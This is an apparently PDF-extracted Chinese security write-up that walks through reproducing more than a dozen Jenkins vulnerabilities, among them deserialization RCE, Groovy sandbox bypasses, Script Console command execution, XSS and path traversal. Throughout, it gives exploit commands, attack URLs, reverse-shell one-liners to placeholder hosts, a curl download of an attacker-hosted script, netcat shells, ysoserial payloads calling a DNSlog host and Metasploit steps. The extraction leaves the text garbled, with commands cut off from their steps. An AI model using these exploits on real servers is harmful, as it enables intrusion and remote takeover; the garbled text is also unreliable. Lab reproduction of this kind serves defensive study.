搜索

[15657] 2020-07-27_安全研究Jenkins漏洞分析

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2020-07-27_安全研究Jenkins漏洞分析 安 全 研 究   |   J e n k i n s 漏 洞 分 析 t a l e   F r e e B u f   2 0 2 0 - 0 7 - 2 7 1 、 简 介 、 简 介 J e n k i n s   是 基 于 是 基 于   J a v a   开 发 的 开 源 软 件 项 目 ， 主 要 用 于 开 发 的 开 源 软 件 项 目 ， 主 要 用 于   C I   ( 持 续 集 成 持 续 集 成 ) 、 项 目 管 理 等 。 、 项 目 管 理 等 。 J e n k i n s 功 能 包 括 ： 持 续 的 软 件 版 本 发 布 / 测 试 项 目 。 监 控 外 部 调 用 执 行 的 工 作 。 2 、 服 务 探 测 与 发 现 、 服 务 探 测 与 发 现 f o f a :   a p p = ” J e n k i n s ” 3 、 、 C V E - 2 0 1 7 - 1 0 0 0 3 5 3   J e n k i n s - C I 远 程 代 码 执 行 远 程 代 码 执 行 3 . 1 、 漏 洞 描 述 、 漏 洞 描 述 未 授 权 远 程 代 码 执 行 漏 洞 ,   允 许 攻 击 者 将 序 列 化 的 对 象 传 输 给 处 理 ， 反 序 列 化 作 为 对 象 ， 这 将 绕 过 基 于 黑 名 单 的 保 护 机 制 ,   导 致 代 码 执 行 。 3 . 2 、 影 响 版 本 、 影 响 版 本 所 有 J e n k i n s 主 版 本 均 受 到 影 响 ( 包 括 < = 2 . 5 6 版 本 ) 所 有 J e n k i n s   L T S 均 受 到 影 响 ( 包 括 < = 2 . 4 6 . 1 版 本 ) 3 . 3 、 漏 洞 利 、 漏 洞 利 使 用 一 键 搭 建 漏 洞 测 试 靶 场 。 访 问 服 务 器 i p 地 址 加 端 口 ， 如 打 开 浏 览 器 发 现 环 境 启 动 成 功 如 下 ： 漏 洞 复 现 步 骤 一 、 生 成 序 列 化 字 符 串 首 先 下 载 ， 这 是 生 成 P O C 的 工 具 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / v u l h u b / C V E - 2 0 1 7 - 1 0 0 0 3 5 3 然 后 执 行 下 面 命 令 ， 生 成 字 节 码 文 件 ： 执 行 上 述 代 码 后 ， 生 成 文 件 ， 这 就 是 序 列 化 字 符 串 。 步 骤 二 、 发 送 数 据 包 ， 执 行 命 令 J e n k i n s J a v a   S i g n e d O b j e c t J e n k i n s   C L I O b j e c t I n p u t S t r e a m C o m m a n d V u l h u b [ h t t p : / / i p : 8 0 8 0 / ] ( h t t p : / / i p : 8 0 8 0 / ) C V E - 2 0 1 7 - 1 0 0 0 3 5 3 - 1 . 1 - S N A P S H O T - a l l . j a r j a v a   - j a r   C V E - 2 0 1 7 - 1 0 0 0 3 5 3 - 1 . 1 - S N A P S H O T - a l l . j a r   j e n k i n s _ p o c . s e r   " t o u c h   / t m p / s u c c e s s " j e n k i n s _ p o c . s e r
下 载 ， 然 后 使 用 p y t h o n 3 执 行 ， 将 刚 才 生 成 的 字 节 码 文 件 发 送 给 目 标 ： 进 入 d o c k e r ， 发 现 成 功 被 创 建 ， 说 明 命 令 执 行 漏 洞 利 用 成 功 ： 也 可 以 反 弹 命 令 ： 4 、 、 C V E - 2 0 1 8 - 1 0 0 0 8 6 1   J e n k i n s 远 程 代 码 执 行 远 程 代 码 执 行 4 . 1 、 漏 洞 描 述 、 漏 洞 描 述 J e n k i n s 使 用 开 发 ， 其 允 许 用 户 通 过 来 调 用 一 次 p u b l i c 方 法 。 由 于 这 个 过 程 没 有 做 限 制 ， 攻 击 者 可 以 构 造 一 些 特 殊 的 P A T H 来 执 行 一 些 敏 感 的 J a v a 方 法 。 4 . 2 、 影 响 版 本 、 影 响 版 本 J e n k i n s   V e r s i o n   < =   2 . 5 6 J e n k i n s   L T S   V e r s i o n   < =   2 . 4 6 . 1 4 . 3 、 漏 洞 利 、 漏 洞 利 使 用 一 键 搭 建 漏 洞 测 试 靶 场 。 因 为 此 漏 洞 是 没 有 回 显 的 , 所 以 选 择 了 和 直 接 进 行 测 试 。 一 、 自 定 义 发 送 请 求 , 测 试 漏 洞 是 否 存 在 : e x p 地 址 ： h t t p s : / / g i t h u b . c o m / v u l h u b / C V E - 2 0 1 7 - 1 0 0 0 3 5 3 / b l o b / m a s t e r / e x p l o i t . p y e x p l o i t . p y p y t h o n   e x p l o i t . p y   [ h t t p : / / y o u r - i p : 8 0 8 0 ] ( h t t p : / / y o u r - i p : 8 0 8 0 )   j e n k i n s _ p o c . s e r / t m p / s u c c e s s b a s h j a v a   - j a r   C V E - 2 0 1 7 - 1 0 0 0 3 5 3 - 1 . 1 - S N A P S H O T - a l l . j a r   j e n k i n s _ p o c . s e r   " / b i n / b a s h   - i   >   / d e v / t c p / v p s _ i p / 1 2 3 4 5   0 < & 1   2 > & 1   " S t a p l e r 框 架 U R L   P A T H V u l h u b c u r l 反 弹 s h e l l h t t p : / / 目 标 i p : 8 0 8 0 / s e c u r i t y R e a l m / u s e r / a d m i n / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t ? s a n d b o x = t r u e & v a l u e = p u b l i c   c l a s s
页 面 返 回 空 白 ， 响 应 如 下 ： 二 、 利 用 下 载 文 件 的 方 法 来 1 、 首 先 创 建 文 本 内 容 如 下 ， i p 和 端 口 填 写 我 们 接 收 s h e l l 的 机 器 的 i p 和 端 口 2 、 将 文 本 放 置 在 开 启 h t t p 服 务 的 v p s 上 , 替 换 P O C 中 执 行 命 令 的 部 分 为 下 载 文 件 的 命 令 3 、 替 换 后 的 P O C ： 4 、 给 予 下 载 的 脚 本 执 行 权 限 : 5 、 依 次 在 浏 览 器 打 开 上 述 步 骤 3 和 4 的 p o c ， 然 后 在 我 们 接 收 s h e l l 的 机 器 上 监 听 之 前 写 的 端 口 : 6 、 直 接 b a s h 执 行 我 们 下 载 的 脚 本 7 、 发 现 已 经 成 功 获 取 到 了 目 标 机 s h e l l 三 、 也 可 以 使 用 一 键 化 P O C 脚 本 利 用 工 具 : 5 、 、 C V E - 2 0 1 9 - 1 0 0 3 0 0 0   J e n k i n s 远 程 代 码 执 行 远 程 代 码 执 行 5 . 1 、 漏 洞 描 述 、 漏 洞 描 述 该 漏 洞 存 在 于 之 前 的 版 本 ,   之 前 的 版 本 以 及 之 前 的 版 本 。 该 漏 洞 通 过 将 A S T 转 换 注 释 （ 如 @ G r a b ） 应 用 于 源 代 码 元 素 ， 可 以 在 脚 本 编 译 阶 段 避 免 脚 本 安 全 沙 箱 保 护 。 所 以 会 造 成 具 有 权 限 的 用 户 或 能 够 控 制 S C M 中 的 或 者 共 享 库 内 容 的 用 户 可 以 绕 过 沙 盒 保 护 并 在 J e n k i n s 主 服 务 器 上 执 行 任 意 代 码 。 5 . 2 、 影 响 版 本 、 影 响 版 本 D e c l a r a t i v e   P l u g i n   <   1 . 3 . 4 . 1 G r o o v y   P l u g i n   <   2 . 6 1 . 1 S c r i p t   S e c u r i t y   P l u g i n   <   1 . 5 0 5 . 3 、 漏 洞 利 、 漏 洞 利 下 载 环 境 和 利 用 代 码 ： 测 试 发 现 无 法 启 动 成 功 ， 因 为 本 地 的 文 件 夹 是 r o o t 权 限 ， 而 j e n k i n s 的 权 限 很 小 ， u i d 等 信 息 都 是 1 0 0 0 ， 所 以 修 改 的 权 限 并 删 除 之 前 的 容 器 再 次 运 行 脚 本 ， 即 可 启 动 环 反 弹 s h e l l b a s h   - i   > &   / d e v / t c p / x . x . x . x / 9 9 9 9   0 > & 1 c u r l   - o   / t m p / 1 . s h   h t t p : / / x . x . x . x / 1 . t x t h t t p : / / x . x . x . x : 8 0 8 0 / s e c u r i t y R e a l m / u s e r / a d m i n / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t ? s a n d b o x = t r u e & v a l u e = p u b l i c % 2 0 c l a s s h t t p : / / x . x . x . x : 8 0 8 0 / s e c u r i t y R e a l m / u s e r / a d m i n / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t ? s a n d b o x = t r u e & v a l u e = p u b l i c % 2 0 c l a s s n c   - l v v p   9 9 9 9 h t t p : / / x . x . x . x : 8 0 8 0 / s e c u r i t y R e a l m / u s e r / a d m i n / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t ? s a n d b o x = t r u e & v a l u e = p u b l i c % 2 0 c l a s s 下 载 地 址 :   h t t p s : / / g i t h u b . c o m / o r a n g e t w / a w e s o m e - j e n k i n s - r c e - 2 0 1 9 D e c l a r a t i v e   P l u g i n   1 . 3 . 4 . 1 G r o o v y   P l u g i n   2 . 6 1 . 1 S c r i p t   S e c u r i t y   P l u g i n   1 . 5 0 “ O v e r a l l / R e a d ” J e n k i n s f i l e s a n d b o x e d   P i p e l i n e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / a d a m y o r d a n / c v e - 2 0 1 9 - 1 0 0 3 0 0 0 - j e n k i n s - r c e - p o c . g i t c d   c v e - 2 0 1 9 - 1 0 0 3 0 0 0 - j e n k i n s - r c e - p o c p i p i n s t a l l   - r   r e q u i r e m e n t s . t x t c d   s a m p l e - v u l n . / r u n . s h j e n k i n s d a t a j e n k i n s d a t a
境 。 然 后 进 入 到 d o c k e r 容 器 中 ， 并 没 有 发 现 初 始 化 密 码 的 文 件 的 存 在 ： 使 用 进 行 登 录 ， 并 发 现 已 有 的 j o b 任 务 已 经 被 创 建 好 使 用 p o c 进 行 漏 洞 攻 击 反 弹 s h e l l ： s u d o   c h o w n   - R   1 0 0 0 : 1 0 0 0   j e n k i n s d a t a / s e c r e t s / i n i t i a l A d m i n P a s s w o r d u s e r 1 / u s e r 1 m y - p i p e l i n e p y t h o n 2   e x p l o i t . p y   - - u r l   h t t p : / / 目 标 i p : 8 0 8 0   - - j o b   m y - p i p e l i n e   - - u s e r n a m e   u s e r 1   - - p a s s w o r d   u s e r 1   - - c m d   " w h o a m i " p y t h o n 2   e x p l o i t . p y   - - u r l   h t t p : / / l o c a l h o s t : 8 0 8 0   - - j o b   m y - p i p e l i n e   - - u s e r n a m e   u s e r 1   - - p a s s w o r d   u s e r 1   - - c m d   " b a s h   - i   > &   / d e v / t c p / X . X . X . X / 1 2 3 4 5   0 > & 1 "
6 、 、 C V E - 2 0 1 5 - 8 1 0 3   J e n k i n s 远 程 代 码 执 行 远 程 代 码 执 行 6 . 1 、 漏 洞 描 述 、 漏 洞 描 述 1 . 6 3 8 之 前 的 J e n k i n s 和 1 . 6 2 5 . 2 之 前 的 L T S 中 的 子 系 统 ， 允 许 远 程 攻 击 者 通 过 制 作 的 序 列 化 J a v a 对 象 执 行 有 问 题 的 。 6 . 2 、 影 响 版 本 、 影 响 版 本 J e n k i n s   j e n k i n s < =   L T S   1 . 6 2 5 . 1 J e n k i n s   j e n k i n s < =   1 . 6 3 7 6 . 3 、 漏 洞 利 、 漏 洞 利 靶 场 环 境 :   、 拉 取 镜 像 到 本 地 并 启 动 其 中 8 0 8 0 为 管 理 端 口 ， 5 0 0 0 0 为 端 口 访 问   ， 看 到 管 理 界 面 即 代 表 启 动 成 功 2 、 P O C 利 用 如 果 看 到 如 下 结 果 则 表 示 存 在 该 漏 洞 ： 由 于 该 命 令 执 行 无 回 显 ， 使 用 的 是 的 方 式 来 将 无 回 显 的 命 令 执 行 转 为 有 回 显 ， 可 能 会 因 为 网 络 访 问 问 题 造 成 误 漏 报 。 7 、 、 C V E - 2 0 1 6 - 0 7 8 8   J e n k i n s   C I 和 和 L T S 远 程 代 码 执 行 远 程 代 码 执 行 7 . 1 、 漏 洞 描 述 、 漏 洞 描 述 是 的 一 个 长 期 支 持 版 本 。 之 前 版 本 和 之 前 版 本 的 中 存 在 安 全 漏 洞 。 远 程 攻 击 者 可 通 过 打 开 J R M P 监 听 程 序 利 用 该 漏 洞 执 行 任 意 代 码 。 7 . 2 、 影 响 版 本 、 影 响 版 本 J e n k i n s   C I   J e n k i n s   1 . 4 0 9 . 3 J e n k i n s   C I   J e n k i n s   1 . 4 5 4 J e n k i n s   C I   J e n k i n s   1 . 4 5 2 J e n k i n s   C I   J e n k i n s   1 . 4 5 1 J e n k i n s   C I   J e n k i n s   1 . 4 4 7 J e n k i n s   C I   J e n k i n s   1 . 4 4 6 7 . 3 、 漏 洞 利 、 漏 洞 利 首 先 下 载 编 译 后 生 成 二 进 制 文 件 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / f r o h o f f / y s o s e r i a l 然 后 利 用 脚 本 发 送 二 进 制 文 件 ( 实 际 上 是 十 六 进 制 的 与 其 后 b a s e 6 4 的 编 码 构 成 ) ： 运 行 p o c 脚 本 ： 可 以 看 到 运 行 P O C 后 ， c e y e 后 台 已 经 有 了 目 标 主 机 的 访 问 记 录 。 证 明 该 命 令 已 经 在 远 程 主 机 被 执 行 了 。 J e n k i n s   C L I c o m m o n s - c o l l e c t i o n s [ h t t p s : / / g i t h u b . c o m / M e d i c e a n / V u l A p p s / t r e e / m a s t e r / j / j e n k i n s / 1 ] ( h t t p s : / / g i t h u b . c o m / M e d i c e a n / V u l A p p s / t r e e / m a s t e r / j / j e n k i n s / 1 ) 1 $   d o c k e r   p u l l   m e d i c e a n / v u l a p p s : j _ j e n k i n s _ 1 $   d o c k e r   r u n   - d   - p   8 0 8 0 : 8 0 8 0   - p   5 0 0 0 0 : 5 0 0 0 0   m e d i c e a n / v u l a p p s : j _ j e n k i n s _ 1 J e n k i n s   w e b J e n k i n s   S L A V E   A G E N T [ h t t p : / / I P ] ( h t t p : / / I P ) 地 址 : 8 0 8 0 / J e n k i n s   W e b $   p y t h o n 2   p o c . p y   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / D N S L o g L T S （ L o n g - T e r m S u p p o r t ） C l o u d B e e s J e n k i n s C l o u d B e e s J e n k i n s C I 1 . 6 5 0 L T S 1 . 6 4 2 . 2 r e m o t i n g 模 块 y s o s e r i a l j a v a   - j a r   y s o s e r i a l . j a r   C o m m o n s C o l l e c t i o n s 3   " c u r l   h t t p : / / u x p l n o . c e y e . i o / t t a a l l e e "   >   p a y l o a d . b i n ( < J E N K I N S   R E M O T I N G   C A P A C I T Y ] > ) p o c 脚 本   h t t p s : / / g i t h u b . c o m / f o x g l o v e s e c / J a v a U n s e r i a l i z e E x p l o i t s p y t h o n 2   j e n k i n s . p y   x . x . x . x   8 0 8 0     p a y l o a d . b i n
8 、 、 C V E - 2 0 1 6 - 0 7 9 2   J e n k i n s   X S t r e a m 反 序 列 化 反 序 列 化 8 . 1 、 漏 洞 描 述 、 漏 洞 描 述 国 外 网 站 于 2 0 1 6 年 2 月 2 4 日 在 公 开 了 J e n k i n s 近 日 修 复 的 一 个 可 通 过 低 权 限 用 户 调 用 A P I 服 务 致 使 的 命 令 执 行 漏 洞 详 情 。 通 过 低 权 限 用 户 构 造 一 个 恶 意 的 X M L 文 档 发 送 至 服 务 端 接 口 ， 使 服 务 端 解 析 时 调 用 A P I 执 行 外 部 命 令 。 8 . 2 、 影 响 版 本 、 影 响 版 本 j e n k i n s 版 本 小 于 1 . 6 5 0 （ 1 . 6 5 0 版 本 已 修 复 该 问 题 ） 8 . 3 、 漏 洞 利 、 漏 洞 利 漏 洞 利 用 脚 本 ： 漏 洞 利 用 验 证 成 功 如 下 ： 也 可 以 使 用 如 下 反 弹 目 标 机 s h e l l 9 、 、 C V E - 2 0 1 9 - 1 0 0 3 0 0 5   J e n k i n s 远 程 代 码 执 行 远 程 代 码 执 行 9 . 1 、 漏 洞 描 述 、 漏 洞 描 述 J e n k i n s 脚 本 安 全 插 件 1 . 5 0 及 更 早 版 本 的 中 存 在 一 个 沙 盒 绕 过 漏 洞 ， 它 允 许 具 有 “ 整 体 / 读 取 ” 权 限 的 攻 击 者 为 其 提 供 脚 本 H T T P 端 点 ， 可 导 致 J e n k i n s 主 J V M 上 的 任 意 代 码 执 行 。 9 . 2 、 影 响 版 本 、 影 响 版 本 J e n k i n s   2 . 5 3 J e n k i n s   2 . 1 2 2 J e n k i n s   2 . 1 3 7 J e n k i n s   2 . 1 3 8   启 用 匿 名 读 取 J e n k i n s   2 . 1 5 2   启 用 匿 名 读 取 J e n k i n s   2 . 1 5 3   启 用 匿 名 读 取 S c r i p t   S e c u r i t y   P l u g i n   1 . 4 3 S c r i p t   S e c u r i t y   P l u g i n   1 . 4 8 9 . 3 、 漏 洞 利 、 漏 洞 利 使 用 一 键 化 P O C 脚 本 利 用 工 具 : C o n t r a s t   S e c u r i t y h t t p s : / / g i t h u b . c o m / j p i e c h o w k a / j e n k i n s - c v e - 2 0 1 6 - 0 7 9 2 p a y l o a d e x p l o i t ( ' h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 / j e n k i n s / ' ,   ' / u s r / b i n / n c   - l   - p   9 9 9 9   - e   / b i n / s h ' ) s r c / m a i n / j a v a / o r g / j e n k i n s c i / p l u g i n s / s c r i p t s e c u r i t y / s a n d b o x / g r o o v y / S e c u r e G r o o v y S c r i p t . j a v a G r o o v y
1 0 、 、 C V E - 2 0 1 9 - 1 0 3 9 2   J e n k i n s   2 k 1 9 认 证 远 程 代 码 执 行 认 证 远 程 代 码 执 行 1 0 . 1 、 漏 洞 描 述 、 漏 洞 描 述 G i t 客 户 端 插 件 接 受 用 户 指 定 的 值 作 为 调 用 的 参 数 ， 以 验 证 指 定 U R L 处 是 否 存 在 G i t 存 储 库 。 这 种 方 式 允 许 具 有 权 限 的 攻 击 者 ， 以 运 行 J e n k i n s 进 程 的 O S 用 户 的 权 限 在 J e n k i n s 主 服 务 器 上 执 行 任 意 系 统 命 令 。 当 以 r o o t 权 限 运 行 J e n k i n s 时 ， 攻 击 者 将 会 通 过 攻 击 得 到 r o o t 权 限 。 1 0 . 2 、 影 响 版 本 、 影 响 版 本 G i t   c l i e n t   P l u g i n   < =   2 . 8 . 4 1 0 . 3 、 漏 洞 利 、 漏 洞 利 使 用 d o c k e r 搭 建 测 试 环 境 创 建 一 个 非 管 理 员 用 户 并 在 里 给 予 如 图 权 限 下 载 漏 洞 版 本 插 件 登 录 创 建 的 非 管 理 用 户   创 建 一 个 流 水 线 任 务 ， 在 连 接 g i t 仓 库 处 输 入 p a y l o a d 实 际 上 是 一 个 比 较 鸡 肋 的 洞 ， 服 务 器 上 必 须 要 低 版 本 插 件 ， 并 且 配 合 弱 口 令 或 者 未 授 权 才 能 进 入 后 台 利 用 。 而 且 后 台 有 个 地 方 能 直 接 执 行 命 令 ， 在 下 面 有 脚 本 命 令 行 ， 属 于 J e n k i n s 正 常 功 能 ， 利 用 这 个 功 能 可 以 执 行 系 统 命 令 ， 配 合 未 授 权 更 方 便 。 1 1 、 、 C V E - 2 0 1 6 - 9 2 9 9   J e n k i n s   C L I   L d a p   D e s e r 1 1 . 1 、 漏 洞 描 述 、 漏 洞 描 述 2 . 3 2 之 前 的 J e n k i n s 和 2 . 1 9 . 3 之 前 的 L T S 中 的 远 程 处 理 模 块 允 许 远 程 攻 击 者 通 过 精 心 制 作 的 序 列 化 J a v a 对 象 执 行 任 意 代 码 ， 从 而 触 发 对 第 三 方 服 务 器 的 L D A P 查 询 。 下 载 地 址 :   h t t p s : / / g i t h u b . c o m / o r a n g e t w / a w e s o m e - j e n k i n s - r c e - 2 0 1 9 p y t h o n 2   e x p . p y   h t t p : / / x . x . x . x : 8 0 8 0 /   " c u r l   h t t p : / / u x p l n o . c e y e . i o / ` w h o a m i ` " g i t   l s - r e m o t e J o b / C o n f i g u r e d o c k e r   s e a r c h   j e n k i n s d o c k e r   p u l l   j e n k i n s / j e n k i n s #   映 射 8 0 8 0 端 口 d o c k e r   r u n   - d   - p   8 0 8 0 : 8 0 8 0   - p   5 0 0 0 0 : 5 0 0 0 0   j e n k i n s / j e n k i n s #   访 问 I P : 8 0 8 0 后 需 要 输 入 密 码   进 入 容 器 获 取 密 码 d o c k e r   e x e c   - i t   2 1 9 2 a 3 d c 9 8 c 0   / b i n / b a s h j e n k i n s @ 2 1 9 2 a 3 d c 9 8 c 0 : / $   c a t   / v a r / j e n k i n s _ h o m e / s e c r e t s / i n i t i a l A d m i n P a s s w o r d C o n f i g u r e   G l o b a l   S e c u r i t y h t t p : / / u p d a t e s . j e n k i n s - c i . o r g / d o w n l o a d / p l u g i n s / g i t - c l i e n t / 2 . 8 . 2 / g i t - c l i e n t . h p i h t t p : / / u p d a t e s . j e n k i n s - c i . o r g / d o w n l o a d / p l u g i n s / g i t / 3 . 1 2 . 0 / g i t . h p i   - - u p l o a d - p a c k = " ` l s ` " [ h t t p : / / i p : p o r t / s c r i p t ] ( h t t p : / / i p : p o r t / s c r i p t )
1 1 . 2 、 影 响 版 本 、 影 响 版 本 L T S R e l e a s e   2 . 1 9 . 3   之 前 的 所 有 版 本 W e e k l y R e l e a s e   2 . 3 2   之 前 的 所 有 版 本 1 1 . 3 、 漏 洞 利 、 漏 洞 利 m s f 利 用 模 块 漏 洞 复 现 漏 洞 复 现 1 .   下 载   j e n k i n s   2 . 3 1 （ h t t p s : / / u p d a t e s . j e n k i n s - c i . o r g / d o w n l o a d / w a r / 2 . 3 1 / j e n k i n s . w a r ） 2 .   安 装   j e n k i n s   j a v a   - j a r   j e n k i n s . w a r 3 .   启 动   m s f c o n s o l e 4 .   使 用   e x p l o i t / l i n u x / m i s c / j e n k i n s _ l d a p _ d e s e r i a l i z e 5 .   设 置   R H O S T   1 2 7 . 0 . 0 . 1 6 .   设 置 P A Y L O A D   c m d / u n i x / g e n e r i c 7 .   设 置   C M D   ‘ t o u c h / t m p / w t f ’ 8 .   运 行 利 用 成 功 后 将 会 在 t m p 文 件 夹 下 创 建 w t f 文 件 1 2 、 、 J e n k i n s 功 能 未 授 权 访 问 导 致 的 远 程 命 令 执 行 功 能 未 授 权 访 问 导 致 的 远 程 命 令 执 行 1 2 . 1 、 漏 洞 描 述 、 漏 洞 描 述 J e n k i n s 管 理 登 陆 之 后 ， 后 台 ” 系 统 管 理 ” 功 能 ， 有 个 ” 脚 本 命 令 行 的 ” 功 能 ， 它 的 作 用 是 执 行 用 于 管 理 或 故 障 探 测 或 诊 断 的 任 意 脚 本 命 令 ， 利 用 该 功 能 ， 可 以 执 行 系 统 命 令 ， 该 功 能 实 际 上 J e n k i n s 正 常 的 功 能 ， 由 于 很 多 管 理 账 号 使 用 了 弱 口 令 ， 或 者 管 理 后 台 存 在 未 授 权 访 问 ， 导 致 该 功 能 会 对 J e n k i n s 系 统 服 务 器 产 生 比 较 严 重 的 影 响 和 危 害 。 1 2 . 2 、 影 响 版 本 、 影 响 版 本 属 于 J e n k i n s 正 常 的 功 能 1 2 . 3 、 漏 洞 利 、 漏 洞 利 找 到 “ 系 统 管 理 ” — — “ 脚 本 命 令 行 ” 。 在 脚 本 命 令 行 中 输 入 下 面 的 语 句 ， 即 可 执 行 相 应 的 命 令 ： 1 3 、 、 C V E - 2 0 1 9 - 1 0 4 7 5   插 件 反 射 型 插 件 反 射 型 X S S 1 3 . 1 、 漏 洞 描 述 、 漏 洞 描 述 该 插 件 会 生 成 一 些 基 本 的 构 建 指 标 ， 它 通 常 与 J e n k i n s 侧 边 栏 链 接 插 件 一 起 使 用 。 该 插 件 提 供 了 该 报 告 机 制 ， 所 有 的 用 户 都 可 以 转 到 J e n k i n s 主 仪 表 板 并 根 据 需 要 提 取 报 告 。 漏 洞 存 在 插 件 中 ，   但 是 只 是 一 个 简 单 的 反 射 型 X S S 漏 洞 ， 该 插 件 无 法 正 确 转 义 标 签 查 询 参 数 。 h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 7 8 1 5 m s f   >   u s e   e x p l o i t / l i n u x / m i s c / j e n k i n s _ l d a p _ d e s e r i a l i z e m s f   e x p l o i t ( j e n k i n s _ l d a p _ d e s e r i a l i z e )   >   s e t   R H O S T   1 2 7 . 0 . 0 . 1 R H O S T   = >   1 2 7 . 0 . 0 . 1 m s f   e x p l o i t ( j e n k i n s _ l d a p _ d e s e r i a l i z e )   >   s e t   P A Y L O A D   c m d / u n i x / g e n e r i c P A Y L O A D   = >   c m d / u n i x / g e n e r i c m s f   e x p l o i t ( j e n k i n s _ l d a p _ d e s e r i a l i z e )   >   s e t   C M D   ' t o u c h   / t m p / w t f ' C M D   = >   t o u c h   / t m p / w t f m s f   e x p l o i t ( j e n k i n s _ l d a p _ d e s e r i a l i z e )   >   r u n [ * ]   E x p l o i t   c o m p l e t e d ,   b u t   n o   s e s s i o n   w a s   c r e a t e d . p r i n t l n   " w h o a m i " . e x e c u t e ( ) . t e x t b u i l d - m e t r i c s b u i l d - m e t r i c s
1 3 . 2 、 影 响 版 本 、 影 响 版 本 3 6 0   F i r e L i n e 插 件 ， 最 高 包 括 1 . 7 . 2 B i t b u c k e t   O A u t h 插 件 ， 最 高 包 括 0 . 9 B u i l d - m e t r i c s 插 件   1 . 3 及 以 下 部 署 W e b L o g i c   P l u g i n   最 高 至 4 . 1 D y n a t r a c e 应 用 程 序 监 视 插 件 ， 最 高 包 括 2 . 1 . 3 D y n a t r a c e 应 用 程 序 监 视 插 件 ， 最 高 包 括 2 . 1 . 4 E l a s t i c B o x   J e n k i n s   K u b e r n e t e s   C I   /   C D 插 件 ， 最 高 至 1 . 3 包 含 1 . 1 . 4 及 以 下 版 本 的   全 局 P o s t   S c r i p t 插 件 L i b v i r t   S l a v e s 插 件 ， 最 高 包 括 1 . 8 . 5 截 至   2 . 7 . 0 的   M a t t e r m o s t   N o t i f i c a t i o n 插 件 S o n a r   G e r r i t 插 件 ， 最 高 包 括 2 . 3 Z u l i p 插 件 （ 包 括 1 . 1 . 0 及 以 下 ） 1 3 . 3 、 漏 洞 利 、 漏 洞 利 该 插 件 位 于 ， 漏 洞 参 数 为 。 p a y l o a d 如 下 ： 1 4 、 、 C V E - 2 0 1 8 - 1 0 0 0 1 1 0   用 户 枚 举 用 户 枚 举 1 4 . 1 、 漏 洞 描 述 、 漏 洞 描 述 是 使 用 在 其 中 的 一 个 版 本 控 制 插 件 。 及 之 前 版 本 中 的 文 件 存 在 安 全 漏 洞 。 攻 击 者 可 利 用 该 漏 洞 获 取 节 点 和 用 户 列 表 。 1 4 . 2 、 影 响 版 本 、 影 响 版 本 C l o u d B e e s   J e n k i n s   G i t   P l u g i n   3 . 7 . 0 及 之 前 版 本 1 4 . 3 、 漏 洞 利 、 漏 洞 利 模 糊 搜 索 如 果 g i t 插 件 小 于 3 . 7 ， 也 可 以 使 用 如 下 1 5 、 、 C V E - 2 0 1 9 - 1 0 3 5 2   路 径 遍 历 任 意 文 件 写 入 路 径 遍 历 任 意 文 件 写 入 1 5 . 1 、 漏 洞 描 述 、 漏 洞 描 述 C l o u d B e e s   J e n k i n s （ H u d s o n   L a b s ） 是 美 国 C l o u d B e e s 公 司 的 一 套 基 于 J a v a 开 发 的 持 续 集 成 工 具 。 该 产 品 主 要 用 于 监 控 持 续 的 软 件 版 本 发 布 / 测 试 项 目 和 一 些 定 时 执 行 的 任 务 。 L T S 是 C l o u d B e e s J e n k i n s 的 一 个 长 期 支 持 版 本 。 及 之 前 版 本 、 及 之 前 版 本 中 的 文 件 存 在 路 径 遍 历 漏 洞 。 该 漏 洞 源 于 网 络 系 统 或 产 品 未 能 正 确 地 过 滤 资 源 或 文 件 路 径 中 的 特 殊 元 素 。 攻 击 者 可 利 用 该 漏 洞 访 问 受 限 目 录 之 外 的 位 置 。 1 5 . 2 、 影 响 版 本 、 影 响 版 本 J e n k i n s - C i   J e n k i n s   L T S   2 . 1 7 6 . 2   J e n k i n s   J e n k i n s   2 . 1 8 6 1 5 . 3 、 漏 洞 利 、 漏 洞 利 首 先 选 择 ” 构 建 一 个 自 由 风 格 的 软 件 项 目 “ 并 将 其 命 名 为 t e s t ， 然 后 使 用 受 限 制 的 用 户 ， 在 配 置 中 选 择 文 件 参 数 v u l n e a r b l e [ h t t p : / / l o c a l h o s t : 8 0 8 0 / p l u g i n / b u i l d - m e t r i c s / ] ( h t t p : / / l o c a l h o s t : 8 0 8 0 / p l u g i n / b u i l d - m e t r i c s / ) l a b e l h t t p : / / 1 9 2 . 1 6 8 . 1 . 7 5 : 8 0 8 0 / p l u g i n / b u i l d - m e t r i c s / g e t B u i l d S t a t s ? l a b e l = < s c r i p t > a l e r t ( " C V E - 2 0 1 9 - 1 0 4 7 5 " ) < / s c r i p t > & r a n g e = 2 & r a n g e U n i t s = W e e k s & j o b F i l t e r i n g T y p e = A L L & j o b F i l t e r = & n o d e F i l t e r i n g T y p e = G i t   P l u g i n C l o u d B e e s   J e n k i n s   G i t   P l u g i n   3 . 7 . 0 G i t S t a t u s . j a v a h t t p : / / x . x . x . x : 8 0 8 0 / s e a r c h / ? q = a h t t p : / / x . x . x . x : 8 0 8 0 / s e a r c h / s u g g e s t ? q u e r y = a h t t p : / / x . x . x . x : 8 0 8 0 / g i t / s e a r c h / ? q = a h t t p : / / x . x . x . x : 8 0 8 0 / g i t / s e a r c h / s u g g e s t ? q u e r y = a C l o u d B e e s   J e n k i n s   2 . 1 8 5 L T S   2 . 1 7 6 . 1 c o r e / s r c / m a i n / j a v a / h u d s o n / m o d e l / F i l e P a r a m e t e r V a l u e . j a v a
